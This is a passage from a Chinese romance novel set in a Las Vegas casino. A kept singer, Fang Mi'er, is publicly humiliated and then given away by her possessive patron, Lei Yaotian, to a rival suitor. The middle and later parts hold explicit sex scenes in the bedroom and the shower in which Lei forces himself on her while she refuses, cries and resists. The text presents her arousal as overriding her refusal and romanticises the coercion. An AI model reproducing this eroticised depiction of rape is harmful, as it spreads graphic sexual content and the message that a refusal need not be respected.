“不客气。”艾斯里眨眨眼,沉默了几秒钟后,忽然略带玩笑地说:“小姐难道不曾想过,先生之所以抽空跑回这里,是因为想念谁吗?”

“啊?”方蜜儿怔了怔,吐司搁在唇边忘了咬。

艾斯里挑起灰眉,故作深思地说:“唔……这个人在先生心里肯定很有分量,要不然,先生也不会急巴巴地赶回来,看完那个人后,安心

了些,才又飞往欧洲去,你说对不对?“

方蜜儿缓缓放下手里的食物,凝视着艾斯里的双眸缓缓调回眼前装着柳橙汁的坡璃杯,心绪乱得可以。

她咬咬唇,深吸了口气,终于勇敢地问:“你的意思是……尧天他有喜欢的人了吗?那女孩就住在赌城,所以他才会在百忙中抽空飞回来看她?”

“唔……差不多是这样。”艾斯里微笑,“不过这也只是我的猜测。” 方蜜儿相信自己此刻的脸色一定十分苍白。他有喜欢的人了,而且在他心里占着很重的分量……

就算艾斯里只是猜测,这样的可能性仍深深刺痛她的柔软心房。

她还以为,他一辈子也不可能爱人,他的狂妄、野蛮、霸气,全然和爱扯不上半点关系,他不会爱上任何人的;可是如今……

她想云淡风轻地笑笑,却挤出一个难看又可怜的神态。“艾斯里,你看过那女孩吗?你认识她吗?我想……她肯定长得很美、很温柔。”

艾斯里摸摸唇上的厚厚胡子,点点头。“我当然看过她,也认识她,她也的确长得很美、很温柔。”

他摇头叹气,失笑地说:“蜜儿小姐,那个女孩就是你呀!”

Θ禁止转载Θ※※浪漫会馆独家制作※※Θ禁止转载Θ

怎么可能?!

方蜜儿很确定,艾斯里根本想错了。

他把雷尧天和她之间的种种想得太过浪漫,她很有自知之明,什么是她可以祈求的,她并不清楚;但对于那些她不该也不能去求的,她一向心知肚明。 虽然如此,艾斯里的话仍然在她心里漾开无数个涟漪,让她胡思乱想。 这两个多礼拜,“红龙”的营运状况依然相当热络。

方蜜儿脚踝的伤被雷尧天整治过后,才两天就完全消肿、行动自如,这两个礼拜,她还是每晚固定登台演唱,不过她不敢太靠近舞台边缘,怕又发生类似事件。

但就算她不想惹事,一些事依旧会找上门。

这几天,有一位男士天天听方蜜儿唱歌,并在她的演唱结束后,大手笔地送上一千朵荷兰紫玫瑰,让“红龙”的地下休息室摆满鲜花。

那男士自称是美国东岸的瑞尔家族成员,全名叫作萨维克瑞尔,还说和雷尧天有过几次生意上的往来,算得上是朋友。

方蜜儿刚开始拒绝和他有任何接触,又是基于礼貌,很单纯地谢谢他的花;可是萨维克似乎不是那么容易打退堂鼓的人,他每一天都来,每一天都开口邀请她共度晚餐,不达目的誓不甘休似的。

而今晚,萨维克还是毫不灰心地提出邀请。

“小姐就答应萨维克先生吧!年轻人多出去玩玩,别一直闷在里头。”艾斯里推推鼻梁上的眼镜温和地建议,淡敛的眼眸却掠过一丝别有意味的光辉,快得教人无法察觉。

坐在梳妆台前的方蜜儿有些讶异,没想到艾斯里会这么说。

“可是我不会觉得闷,我不想出去玩呀!”

她并不害怕独处,独处时,她可以看书、看影碟,听些喜欢的音乐,甚至还可以提笔写些文章,或者打电话和纽约的妹妹说说话。她不怕独处,只是心里有了人,当男人不在身边时,思念的情绪会不知不觉将她缠绕。

她怕的是想他想得太深,会心痛得不能成眠。

“就我所知,萨维克先生是个风趣又正直的人,之前,先生和瑞尔家族在美东有一个合作案,一些身为议员的大股东很担心先生背后的黑暗势力,还是萨维克先生对那些人再三保证,先生才能顺利将美东一带的势力扩展开来,也没有发生任何流血事件。再加上萨维克先生已经努力邀请小姐好几次了,这一次就算是给他个面子,小姐如果答应跟他出去散散步、喝喝咖啡,一定不会失望的。” 听见艾斯里这么说,方蜜儿咬着唇挣扎许久,最后终于答应了,不过她只愿意和他单独喝杯咖啡,地点也选在“红龙”楼上附设的高级咖啡厅。

萨维克的确是个风趣又英侵的男人,望见他朗朗笑开的俊脸,她也跟着牵唇轻扬、眸光如雾。

“唉!我的蜜儿,你知不知道,我的心已经被你狠狠摔碎了?”坐在美女面前,萨维克夸张地捧住左胸,做出中枪的举动。

方蜜儿无辜地扬眉。“我怎么了?”

“你竟然还问?唉唉唉,我觉得自己长得还不算差,甚至说得上英俊帅气,可是你实在真懂得如何伤害一个男人的自信心,你虽然答应跟我喝咖啡,可是这一个多小时,根本是我在演独角戏,你只会望着我,思绪不知飞到哪里去了……唉!我怎么这么可怜?”

方蜜儿被萨维克半开玩笑的指责弄得俏脸通红。

她不是故意的,只是看见萨维克英俊开朗的笑容,脑中就不由自主浮现雷尧天严峻的神态,那是迥然不同的两种性情,前者让她感到如沐春风,后者却在她心房里激起汹涌的海浪。

她彷佛是一叶轻舟,不小心飘流到暗潮汹涌的海域,那千层的大浪早就将她吞噬,她逃不出,也没有力气抵抗,她早就是雷尧天的俘虏。

“对不起。”她歉然微笑,绞着纤白的手指,不知该怎么办。

萨维克是舍不得让美女太过难堪的,他拨拨金阳般亮眼的发丝,笑咪咪地说:“真觉得对不起我,明天就一整天都陪我。说实话,拉斯维加斯我还是第一次来,你当我的向导,如何?”

“啊?”方蜜儿又露出无辜的模样。

“你不愿意啊?”大帅哥失望地垮下脸。

“不是的。”方蜜儿羞赧地摇摇头,“我……其实我对这个地方也不太熟悉,我一直都待在红龙赌场,不是很喜欢出去逛,不过我可以拜托艾斯里找一位可靠的人,让他当你的向导,可以吗?”

萨维克奇异地盯着方蜜儿瞧,似乎觉得十分有趣。

她被看得有些不自在,不禁问:“怎么了?我说错话了吗?”

萨维克慢条斯理地啜着咖啡,修长手指敲着桌面,叹息着说:“我知道雷把一个东方大美女藏在赌城里,还知道这个大美女已跟在雷身边整整四年,这情况真的很不寻常,呵呵!所以我一直很想看看这个东方宝贝的真面目,蜜儿,你真是让我惊奇。”

啊?方蜜儿红唇掀了掀,不知该说些什么,也不清楚萨维克真正的想法,只能怔怔地、略带傻气地望着他。

萨维克潇洒地挑眉,语不惊人死不休地说:“我想,我已经爱上你了。” “什么?!”方蜜儿吓得差点打翻面前的咖啡杯。“萨维克先生,你……你不要乱开玩笑。”

“我没有,我很认真。你要不要嫁给我?”忽然,萨维克那对漂亮的蓝眸闪过精光,朝着方蜜儿眨眨眼,将她略凉的小手包进掌心。

不知怎地,方蜜儿觉得好好笑,有些明白这个大男孩似的英俊男人正在跟她玩闹,故意要看她惊慌失措的模样。

“要不要嘛?嫁给我多好,你有一个帅翻天又懂得生活情趣的老公,我们生的混血小孩肯定男的俊、女的美,我也有很多钱,可以让你快快乐乐过日子。我的蜜儿,你嫁给我吧?”

方蜜儿果真笑了出来,正想建议萨维克可以朝戏剧界发展长才,但话刚到嘴边,一股凌厉的紧绷感突然从身后袭击而来,让她背嵴不由得挺直。这时,一个高大黑影已来到桌边,沈沈地笼罩住他们。

“哼!好感人。”那黑影的声音充满嘲讽,怒意如此明显。

方蜜儿心脏一紧,擡起秀丽的水眸,咖啡厅中的浪漫烛光将雷尧天深沈的脸庞隐在昏黄中,轮廓虽然蒙陇,但身上幅射出来的气势却让她明白,此时此刻的他正处于极度愤怒的状态。

“你……你回来了?”两个多礼拜不见,她不敢再向艾斯里或其它人探听他的消息,怕触犯到他的界限。

有时想想,她就觉得可悲,他放任她一个人,随她高兴去做她想做的事,外表看似自由自在,但她的心其实己被因锁住,他给了她一个无形的牢笼,她是他的金丝雀。

“你不希望我回来吧?尤其是现在,对吗?我甜美的蜜儿。”雷尧天薄唇冷冷牵动,似乎极力要克制脾气,但起伏变大的胸口和紧绷的下颚却破坏了一切。 方蜜儿有些受伤、有些困惑地勇敢回视雷尧天,轻柔地说:“我不懂你在说什么,这里是你的,你高兴回来就回来,想什么时候走就什么时候走,我希不希望根本不重要,不是吗?”

雷尧天被方蜜儿抢白,先是一怔,随即瞥见她的小手正被萨维克握在掌心里,一把火轰地在体内狂猛燃烧。

他用力拉走她的柔荑,甚至恶劣地不顾她的惊唿,将她整个人扯了起来,发蛮似地锁在自己臂弯里。

“你干什么?别这样!”好丢脸哦!他还要怎么欺负她?

方蜜儿像条被钓上岸的小鱼殷不断扭动、挣扎,眼角瞥见萨维克正津津有味地看着,心里真是沮丧得不得了,这实在是太丢脸了,真想挖个地洞把自己埋掉算了!

“嘿,我说两位,那个……”萨维克后面的话被雷尧天凌厉一瞪,竟然自动自发地消音了。

雷尧天冲着萨维克冷哼,低沈却清晰地说:“你想向这个女人求婚、想娶她当老婆?”

锐利眼眸细眯起来,迸出恶意的光芒,“你知道她被我睡过多少次?被我在床上、沙发上、地毯上,甚至是车里、游艇里彻底搞过多少回吗?哦,对了,我差点忘记,我还在沙滩上和电梯里上过她,萨维克,她的身上全是我留下的记号和气味,这样的女人,你还要吗?”

“雷尧天!”方蜜儿作梦也没想到他会说出那样的话,会对另一个男人说出那些事,眼眶陡地发热,羞辱和受伤的感觉像张可怕的大网,紧紧捆住她,几乎要勒断她的唿吸。

他太过分了!

气力一下子被抽光殆尽,她双腿有些发软,埋在宽阔熟悉却教她无比心痛的胸膛,她根本没有勇气去面对萨维克。

然而,雷尧天觉得还不够给她难堪似的,冷冷的笑声再次扬起,凉薄地嘲弄:“萨维克,我可以给你时间好好考虑,毕竟这几天在东岸的生意,你们瑞尔家族帮了我不少忙,我一向恩怨分明,若你考虑过后还想娶这女人,我可以无条件奉送,并且准备一份大礼当作结婚的贺礼!不过我可以告诉你……”

他略微停顿,强而有力的双臂更加用力地抱住怀里颤抖的纤细身躯,声调变得更阴沈,“她目前还是我的,是我雷尧天的私人物品,而现在,我就要抱着这个女人,到顶楼的房间好好爱她,我会脱光她的衣服,扳开她修长的双腿,然后理进她美丽的身体里,狠狠地发泄!”

丢下话,雷尧天头也不回,挟着方蜜儿转身就走。

嘿!这下可有趣啦!

萨维克不怒反笑,手指摩擦着俊美的挺鼻,觉得这一趟跑来赌城实在挺有意思的。

Θ禁止转载Θ※※浪漫会馆独家制作※※Θ禁止转载Θ

为什么不晕过去算了?

为什么要听到他说出那些充满恶意的话?

为什么她要那么傻?悄悄猜测着或者艾斯里说的那些话是真的,他对她其实有那么一点点不同,有那么一点点在乎……

但艾斯里错了!对他而言,她只是一件暖床的物品,除此之外,什么也不是……

她可以不爱他吗?

可以吗?

电梯将他们带回顶楼,雷尧天满身怒气地忽然将怀里的人儿抛上床。

方蜜儿挣扎着要爬起来,男人高大身躯已压了过来,将她钉在床上动弹不得。 “放开我!你起来!”她鼻子红了,眼眶红了,脸颊也红通通的,却倔强地冷着声音。

“放开你,让你下楼找别的男人吗?”雷尧天的声音比方蜜儿还冷,大手开始扯着她的衣服,粗暴地揉捏她的胸脯。

“不要!住手,你不要这样……”

她激烈地挣扎起来,前所未有地抗拒着,泪水纷纷坠落。她的心好痛,觉得空气离她好远,她很用力很用力地唿吸,为什么头还是好晕?

她的拒绝简直是另一个引爆点,一向温柔迎合的她,今天竟然为了其它男人抗拒他的求欢?

雷尧天铁青着脸,像彼人重重打了一巴掌,惊人的怒气蒸发了残存的理智,怒吼着:“就算你想找别的男人,也要先满足我!”

“走开!”她大叫,却推不开他。

他撩高她的裙子,猛力撕破她的小底裤,她边哭边踢人,他更火了,干脆跪坐起来,两腿分别压住她的大腿,让那朵女性的娇花为他完全敞开。

他解开腰带、拉下西装裤拉练,扶着炽热的巨根,伏下腰身,几近粗暴地挤入她的体内。

“啊!”好痛!少了润滑的温潮,她难以接受他的巨大,哀叫一声,眉心可怜兮兮地拧紧,而眼泪更像关不紧的水龙头拼命流着。

“呜呜呜……你走开!好痛……你为什么要欺负我?为什么这么坏?呜……为什么?”

雷尧天心猛地揪紧,见方蜜儿闭着眼睛哭得梨花带雨,一股奇异的柔情在胸口奔腾,不禁伏在她身上不动了。

他忍不住吻着她的嘴,一手爱抚着她的丰乳,逗弄着美丽的乳尖,另一手则悄悄滑进两人结合的地方,找到腿间的珍珠,技巧十足地掐捏、揉弄着…… “嗯……不要……啊……”

方蜜儿神智越沈越深,越来越迷煳,她的身体背离她的意志,在他手下开始有了反应。

“尧天……”她下意识唤着他。

一波波快感袭来,她不自觉在他身下扭动起来,甜美的爱液听从召唤渗出了花径,渐渐濡湿两人紧紧嵌在一起的腿间。

雷尧天没有回答方蜜儿,他已经弄不明白心里的想法,他想狠狠伤害她,但他为什么迟疑?

为什么?

他阴沈着脸,双目烧着狂火,张唇用力吸吮她的乳尖。他的腰开始一连串地进攻,每一下的抽撤都夹着怒火,重重攻占她的身体。

她抽着气,难以唿吸地发出可怜的哀叫,但他告诉自己,他绝不心软,绝不留情,他要狠狠惩罚她!

她不过是个女人,是个供他发泄的女人,除此以外,她什么也不是!

第四章

该死!他为什么要如此愤怒?而在极度愤怒之后,又为什么会升起莫名其妙的罪恶感?

简直可笑!

落地窗外的黑夜被远方的曙光淡淡拭去,清辉穿透玻璃,无声无息洒入。 床上的一夜爱恨纠缠起起落落,如烈火般狂燃了心智,雷尧天的怒意和精力彻底累坏了怀里的方蜜儿。

被动地枕在他胸前,她再也没有力气挣扎,眼皮好重、好沈,她睡着了,却睡得很不安稳,秀气的眉心拧着,眼角还沾着晶莹泪珠。

男人深思的黑瞳好不容易才从那张楚楚可怜的小脸上移开,面无表情地直视着天花板,粗犷的五官依然紧绷。

从来没有一个女人能如此深刻地挑动他的情绪,他不喜欢这种失控的感觉,而且还极度厌恶。

他的母亲是一名流莺,从小,他就不知道父亲是谁。

七岁的时候,他跟着几个较大的孩子在布鲁克林区最堕落的黑街打混,他聪明、有头脑,偷拐抢骗一学就会,而所有的打斗技巧,也是在那个黑暗的地方一点一滴慢慢学成的。

后来他加入黑街的组织,凭着实力和头脑,迅速崭露头角,很快便获得赏识。 那些掌握黑暗势力的头头们欣赏他,因为他够狠、够冷血,渐渐的,他也明白,那些人将他视作猛兽,利用他的同时,却不得不防着他,用尽无数方法想牵制他。

这辈子,他最恨被人踩在脚下,他是天生的王者,不应该被压制!

他能爬到今天这个地位,是靠着双手打下的天下,真实世界如此丑陋、黑暗,却给了他无数的教训,让他学会一个道理──只有自己才是唯一能亲近的盟友。 唯一能操纵自己喜怒哀乐的,只能是自己;所以,他不应该让一个女人影响到心绪,她的眼泪和一切的反应,都不能动摇他!

胸口的火猛地烧痛他的意志,雷尧天薄唇一抿,突然将伏在胸前的娇躯推到一旁,迅速地下床。

他赤裸着身躯,喘着气,笔直地走向房中附设的小酒吧。

从柜中取出一瓶烈酒,他为自己倒了杯威士卡,仰头全数吞进肚子里,让那灼热的快感狠狠烧过喉咙。他再倒一杯,又是一饮而尽,彷佛想平息脑中某种不该出现的意念。

方蜜儿被推开后,不禁嘤咛了几声,头颅在凌乱的被褥上缓缓晃动,失去男人的体温,冷意忽地袭近,她虚弱地掀动眼皮,在清晨的薄光中瞥见雷尧天立在酒吧边的身影,那对鹰眼正直勾勾盯住她。

惊抽一口凉气,她反射性地缩紧身躯,小手把被单抓得好紧,遮掩一身的赤裸。

她温润的小脸一下子变得苍白,气息变得又短又急,梦中那个不断欺负她的男人就站在那边,她记起那些恶意的言语,伤得她浑身疼痛不已。

见到她排拒的神态,迷蒙眼中也闪烁着明显的惊慌,雷尧天竟莫名其妙又感到郁闷。

他狠狠灌酒,把空的酒杯往桌上一放,大踏步走近方蜜儿,面对着她在床边坐下。

“不要……”方蜜儿慌张又脆弱地抗拒着雷尧天探近的大掌,可惜有如螳臂挡车,男人的力气远远超过她,一下子就抓住她纤细的腕部。

“不要了,求求你,不要了……”她的哀求中渗进哭声,被蹂躏过的身体疲累而且虚弱,感觉自己就像一个破娃娃残破不堪。

然而更教她难堪的是,在这样几近欺陵、侮辱的对待中,她还是得到快感,在他每一次的掠夺和侵犯下,她依然不要脸地攀上层层高峰,尝到所谓的性爱高潮。

她气他,却更厌恶自己。她觉得自己好脏、好下贱,她讨厌自己!

“别再挣扎,你斗不过我的。”雷尧天冷冷地说,眉宇间锁着可怕的风暴。 “你走开!我不要了……”方蜜儿红着颊,昏沈沈地掉泪。

“闭嘴!”忽然,他拥她入怀,顺势倒在床上,密密地抱住她。

“你还想干什么?我真的没力气了……”

“闭嘴!”

“你怎么可以这样?”

“再不闭嘴,就别怪我动手动脚。”

方蜜儿一惊,连忙噤声,心脏还是咚咚咚地跳得超级快。

他的手揽住她的腰和背嵴,双腿则有效地压制她的腿,并未试图拉扯她紧抓在胸前的被单,就只是亲密地紧贴着她,强迫她可怜的泪脸埋在宽胸里,听取他的心跳。

她刚开始时全身紧绷,像小虾米般瑟缩着。但他的气味再次将她笼罩,让她避无可避,他的体热也再次温暖她微凉的四肢,让她渐渐软化、安静。

抿抿唇,她合起忧伤的眼眸,不知该用什么态度面对他,受伤的心仍疼痛着,却不能理解他突如其来的温柔。

不只方蜜儿不能理解,就连雷尧天也迷惑了。

他咬着牙,男性霸气不允许他低头,更不允许他显露埋在潜意识下的情绪,于是他甩甩头冷硬地说:“不准你反抗我,只要你还属于我一天,就不准你拒绝我的亲近。你没有说不的权利,知道吗?”

方蜜儿忍不住啜泣,这一刻,她真恨自己的软弱。

他说的都是事实,她的确要认清自己。

将握成拳头的小手送到嘴边,她悄悄咬下,不这么做,她怕自己下一秒就会放声大哭。

“听见没有?”他力道好大,几乎要把她纤细的身躯挤进他体内似的。 “嗯。”她应了声,像个木头人般喃喃地回答:“我明白,我知道自己是什么身份,这四年来,是你提供了我和妹妹优渥的生活,在金钱上给了我们很大的帮助,让馨儿能安心在纽约攻读,朝自己的梦想前进,我……很感激你。” 顿了几秒,她再次出声:“对不起,我很抱歉……”

该死的对不起!该死的抱歉!

听着她回应的冷硬言语,雷尧天发觉自己的心绪更加紊乱,胸口更是加倍郁闷,甚至兴起想杀人的冲动。

她不过是个用钱换来的女人,这样的女人,以前不知出现过多少个,而以后也肯定会不断出现,她根本没什么特别之处,根本没有!

惊觉内心竟在说服自己,他磨着牙,脸色变得阴沈铁青。

他是黑街帝王,是冷血无情、残酷霸道的,他绝不容许任何人掌控他的心绪,也绝不让任何人软化他刚强的意志。

绝不!

被男人紧圈在怀里,方蜜儿迷迷煳煳睡着了。

不知睡了多久,宁静的气氛被一阵细微的交谈声破坏。

她从睡梦中醒来,在大床上静静躺了片刻,直到意识完全清楚,终于确认那阵交谈是从外面客厅传进来的。

是谁?她轻拧眉心,勉强下床,在为自己穿上衣裙的同时,瞥见胸前、腹部和大腿上被烙下的点点红印,那是男人对她身体过度需求的“杰作”。

想起那一幕幕让人脸红心跳的亲密交缠,他火热的力量彷佛还留在她腿间,瞬间,她双颊晕红,赶紧甩了甩头,重新安抚心绪。

赤着秀足,她无声地踩在长毛地毯上,轻巧地扭开门把,从门缝中偷偷观察外头──

客厅里有三个男人,雷尧天、艾斯里还有萨维克。

方蜜儿怔了怔,不禁竖起耳朵,偷听男人们到底在谈些什么。

此时,萨维克翘着二郎腿,英俊五官笑得轻松写意,宛如笼罩在温暖冬阳中。“雷,这是你自己承诺的,你不会使贱招,想来个选择性失忆吧?”

雷尧天盘踞在他专用的单人沙发上,双目阴沈,薄唇抿成水平线,并不答话,反倒站在一旁的艾斯里开口反问。

“萨维克先生,您当真想娶蜜儿小姐为妻吗?就我所知,您跟罗梭家族的小姐似乎早就已经有婚约了,不是吗?”

躲在房门后的方蜜儿听到这句话,不禁讶异地张大眼睛。

萨维克挑眉,冲着艾斯里朗笑。“唉!爱情这种东西很难捉摸的,我对蜜儿一见钟情不可以吗?如果她愿意嫁给我,跟我离开这里,那当真再好不过;至于罗素家族的婚约,我随时可以为了蜜儿放弃和他们联婚,那位罗素家的小姐,老实说,我见也没见过哩!”

这……这到底怎么回事?

方蜜儿被搞得一个头、两个大,没想到鼎鼎有名的瑞尔家族的男人,竟然想要娶她为妻?

她怎么能答应呢?除了那个占有她身体和心灵的男人,她终此一生,只怕再也不会爱上任何人的!

然而,对于萨维克的要求,雷尧天会怎么处理?

方蜜儿一颗心跳得好急,都快要冲出喉咙了,不禁将门缝推得更开一些,迷蒙眼神急切地寻向坐在单人沙发里、神情高深莫测的雷尧天。

他不会答应的,不是吗?虽然之前他对萨维克抛下那些话,但他不会真的答应把她让给别的男人,不会的!

就在她脑中乱成一团的时候,雷尧天粗獭脸庞微微擡起,锐利眼光瞥见她躲在门后的小脸。

她咬着唇,定定接受他深沈的注视,忽然间,她听见他低沈却清楚如比的声音。

“我无所谓,如果你们瑞尔家族想捡我用过的破鞋,那就把那个女人带走,我不希罕。”

“轰”地一声巨响,世界在方蜜儿眼前崩坍了。

她放开门把,不断地往后倒退,整个人跌坐在床上,怔怔傻坐着,无法再去偷听客厅外的对话。

视线一下子变得模煳不清,她擡起手揉揉眼睛,才发现眼泪正拼命掉着,整张脸湿得透彻。

别哭了!蜜儿,别哭啊……她不断告诉自己,甚至还试着要扯出笑容来,偏偏脸部肌肉硬是要跟她作对。

她踉跄地走进浴室,望着镜中苍白如鬼的女子。这是她吗?为什么一点生气也没有?

不!她不要看起来这么苍白,她脸色真的太差了,还有,她也不要身上有那男人的气味,那只会让她更伤心、更难过。

她要把自己洗得干干净净,要让热水冲过全身肌肤,驱走那份可怕的苍白。 模煳地想着,她脱掉所有衣服,进入淋浴室,打开莲蓬头,让大量飞洒的热水冲刷着赤裸的身体。

她仰起脸、闭起眼睛,泪珠混进热水中,她的双手在雪白的肌肤上用力搓揉,似乎这么做,就能把那男人永远地赶出脑海。

蓦然间,淋浴室的滑门被推开了,她惊愕地张开眼,还来不及说话,就见一样脱得精光的雷尧天挤了进来,一时间,里头变得好拥挤。

“你出去!”方蜜儿生气了,她又难过又愤怒地遮掩着重要部位,眸光充满指责,恨死自己为什么没办法恨他。

雷尧天胸膛明显地起伏,双目眯了眯,下颚紧绷,嘴角却扯出冷笑。“怎么?这么快就想和我划清界线吗?我的蜜儿。”

“我不是你的了,你出去!”

雷尧天直勾勾看了方蜜儿几秒,声音更冷,而且充满恶意。

“你是怕如果被萨维克知道你现在还跟我挤在这里,他会醋海生波,原本要跟你求婚的念头会改变吗?”

他擡起她的下巴,将她逼到角落。“你放心,那家伙爱你爱得发狂,就算让他亲眼看见我怎么搞你,怎么让你在我身下疯狂淫叫,他还是会娶你的。” 方蜜儿气得扭开头,抗拒雷尧天的碰触。“你要冲澡吗?那你一个人慢慢冲!”他不走,那她走好了!

可惜,雷尧天根本是进来为难她的。

他忽然低头吻她,用身体的优势将她压在墙上,双手肆无忌惮地捏拧着她的丰乳,一条腿挤进她腿间,勃发的男性欲望贴在她被热水冲淋成粉红色的嫩肤上磨蹭着。

“唔……不要……”她的小手抡成拳头攻击他,但那些力量实在太微小,如何保护自己不被化作野兽的男人吞噬?

“现在才说不,我的蜜儿,你不觉得太迟了吗?”他冷笑,单是一只大手就把她挣扎的双手扣住。

他拉高她的细腕,俯下头含住粉嫩、坚挺的乳尖,轻轻啃咬又用力吸吮,就是要看她疯狂的娇态。

“嗯啊……你不要这样,放开我!我不要!”那可怕却又熟悉的狂躁感觉再次涌出,她啜泣着,力量正一点一滴抽离,而理智也慢慢被男人击溃。

“蜜儿,你的身体明明渴望得不得了。”雷尧天吐着灼热的气息,唇舌改而眷顾另一边肿胀的嫩乳。

“不!呜呜……”她的发早被热水淋湿,贴在双颊和肩膀上,小脸显得好脆弱、好可怜。

男人的手顺着她的腰往下滑,跟着探进她湿润的腿间,对着那片柔软的圣地做出邪恶的摧残,直到她体内回应了他粗糙手指的召唤,渗出涓涓的润滑爱液……

“蜜儿……”他的气息变得粗重,终于放开对她双手的箝制,擡起一只玉腿圈在自己腰上,另一手则握住肿胀的分身,抵在花径的入口。

“我要你一辈子也无法忘记这些!”

猛地,他冲进她腿间,将那份巨大的存在深深抵进她体内。

“啊啊──”方蜜儿竟制不住地叫喊出来。

“我不准你忘记,不准!”雷尧天霸道地命令,腰杆用力地律动,对着她娇美的胭体疯狂地抽插。

她的神智飘得好远好远,再也抗拒不了,这男人是她一辈子的克星,她永远也没办法摆脱。

终于,她在他强而有力的撞击下逸出一声声浪吟,小手攀住他的粗颈,双腿夹紧他的腰,让他将自己顶得更深。

在享受极乐的同时,泪水却不停从她的眼角渗出,那是她深沈的悲哀,也是对自己下意识的厌恶。

雷尧天深深吻住方蜜儿的小嘴,和那丁香小舌纠缠再纠缠,此时此刻,所有的言语都是多余的。

放下她的腿,他暂时从女性的紧窒中抽离,让她翻过身背对自己。

她喘着气,热水不断洒在两人身上,那高温已到快不能承受的地步。

两手扶在墙上,她感觉腰被他托高,双腿被他微微打开,随即,男性的巨根再次挺进,满满充实着她。

“尧天……啊……”她如何能忘?这一切的一切,她恐怕再怎么努力也没办法遗忘啊!

这是最后一次和他亲密的结合吗?

他壮硕的欲望燃烧着她,他的气味将她整个包覆,她的灵魂和身体都渴望着和他一起,但他不要她了,他一点也不希罕,他要把她让给别的男人…… “呜呜呜……”她放任自己痛快地流泪、喊叫,沈浸在他给予的肉体高潮里,也沈浸在自己的悲伤中。

雷尧天努力地摆动臀部,毫不留情地在方蜜儿身上攫取一切。

他不希罕她!

就如同他对萨维克所说的那样,他无所谓,没有谁可以影响他的决定,对于眼前这个女人,他一点也不希罕,一点也不!

他眼中不知何时泛出血丝,全身肌肉紧绷到了极限。

扶住她柔嫩又纤细的腰,一股狂火聚集,让他的分身变得加倍肿胀,他低声吼叫,微微退出,再次用力顶进她的柔嫩中。

“啊啊……”方蜜儿不禁仰起雪颈,双腿快要撑不住了,纤弱身躯摇摇欲坠,忍不住哀求,“不行了,我没力气,尧天……”

雷尧天伸长手臂抱住她,将她放倒在地板上,扳开修长的玉腿再次侵入,捧高翘臀将她拉向自己,开始最后的冲刺。

他们凝视着彼此,却都不说话,只是依从着欲望发出阵阵吟叫和粗吼,灼烫气息混在烟雾弥漫的空间,早已分不清楚。

然后,男人终于到达极限,控制不住地在缩紧的女性蜜地里战栗、喷洒、释放……

真的结束了吗?

这四年来的痴心暗恋,到此也该放手了!

方蜜儿缓缓放下弓起的身躯,幽幽地牵动唇瓣,而小脸却偏向一边,让那些纷纷溢出的泪水全都滑落在原就潮湿的地板上。

都结束了……

第五章

方蜜儿离开“红龙”,跟着萨维克走后,已经过了一个礼拜。

赌场里少了每晚登台歌唱的东方神秘女郎,那些醉翁之意不在酒的赌客们刚开始还挺纳闷的,向赌场里的员工私下询问,也问不出个所以然。

跟着,一些八卦就流传起来,说“红龙”的幕后大老板终于对东方女郎失去“性”趣,赶走她后,不久将会有更漂亮的“新贷”前来递补,一代新人换旧人。 只是,“红龙”的资深经理就没这么轻松惬意了。

艾斯里从来没有一次这么希望雷尧天能赶快动身前往别的地方,别继续赖在拉斯维加斯,他作牛作马管着赌场的生意已经够辛苦了,还得分神注意大老板的精神状态。

中国不是有句俗语“自作孽,不可活”吗?艾斯里觉得,这就是目前雷尧天的写照。

或者,该给老板那颗顽固的脑袋一记当头棒喝?藏在厚须里的嘴微微扬起,他瞄了眼手里刚收到的银色邀请函,暂时离开赌场大厅,搭着电梯直达顶搂。 走出电梯,他礼貌地敲了敲门,隔着门扉,听见里面的男人坏脾气地吼叫:“没事少来烦我!”

艾斯里挑挑灰眉,控制着脸部表情,推门进去。

客厅里今早才请钟点女佣打扫过,现在又是一片狼藉。

雷尧天斜倚在沙发上,漂亮的衬衫根本只是随意套着,露出一大片胸膛,黑发有些凌乱,双目浮出不少血丝,整个人就像一头被关在笼子里、身上还负着伤的猛狮,气愤、焦躁、阴郁,偏偏找不到发泄的管道。

他瞪了艾斯里一眼,随即把半杯威士卡灌进回中。“什么事?”

艾斯里平静地回视雷尧天,声音不卑不亢。“需要让人送晚餐上来吗?先生好象一整天都没有吃东西。”不过倒是灌了不少酒。他瞄了眼滚在地毯上的三、四支空瓶。

雷尧天冷哼了哼,摇摇晃晃站起身躯,走到酒柜前,又拿下一瓶白兰地。“你上来就为了问我吃饭的事吗?”

艾斯里心里斟酌着,衡量之下,决定赌这一把。“嗯,我只是受人之托,所以就得忠人之事。”

“什么意思?”雷尧天开酒的动作一顿,略微侧过峻脸。

“是蜜儿小姐,她离开红龙赌场时,特别交代我,要我帮她好好注意先生的身体健康,劝你少喝点酒,蜜儿小姐她……”

“别在我面前提她的名字!”雷尧天忽然发火,将手里的空酒杯往墙角砸去,好好一只杯子立刻碎了一地。

“是!”果然,敢赌就要够胆量。艾斯里在心里苦笑。

雷尧天内心滚出一连串的诅咒,他不该表现得如此失控,除非他在意那个女人的离去;但是他要她走的,所以,他根本不该把她当作一回事……对!她根本不值得一提。

做了几个深唿吸,他瞄向一脸平静的艾斯里,甩开那份古怪的沮丧,面无表情地问:“你到底上来干什么?大厅里有麻烦发生吗?”

“大厅很好,一切都在控制中。”

雷尧天眯起双眼,“那么,是为什么?”

艾斯里摇摇头,“我想,先生不会想听的。没事了,我该下去工作了。” “站住!”雷尧天沈声命令,“把话讲清楚。”

艾斯里只好再次转过身面对雷尧天,尽管心里在偷笑,还是努力维持脸部平静。“是您要我说的哦!我上来,是想告诉先生,萨维克先生已从老欧德林手中买下‘金币赌场’,他将全新装境‘金币赌场’,近日内就会重新开张,这是他让人送来的邀请函。”

雷尧天越听脸色越难看,一把抢过那张银色的帖子,粗暴地扯开,一看,立刻下颚紧绷、嘴角抽搐,气息瞬间变得加倍粗哑。

该死的萨维克!

邀请函里除了写明重新开幕的日期外,还大刺刺地宣传,原在“红龙”驻唱的东方神秘女郎,将会在全新的“金币”登台演出!

“真的不用我陪?”

萨维克英俊脸庞靠得好近,方蜜儿下意识后退了一小步,虽然对他的靠近并不觉得厌恶,但还是不太习惯。

“不用了,就只是出去走走,我想到书店逛逛,不会走丢的。”

“我的蜜儿,你真是伤透我的心了,不但拒婚,现在又拒绝我的陪伴,难道我就这么没有魅力吗?”说着,萨维克一手夸张地捂住左胸。

方蜜儿被逗得笑出声来,消瘦又苍白的脸颊终于红润了一些。

“你才不是真心向我求婚,我心里明白的……不过,我真的很感谢你。”至少,让她下定决心往前走,虽然过程很痛苦,但她一定会咬牙度过。

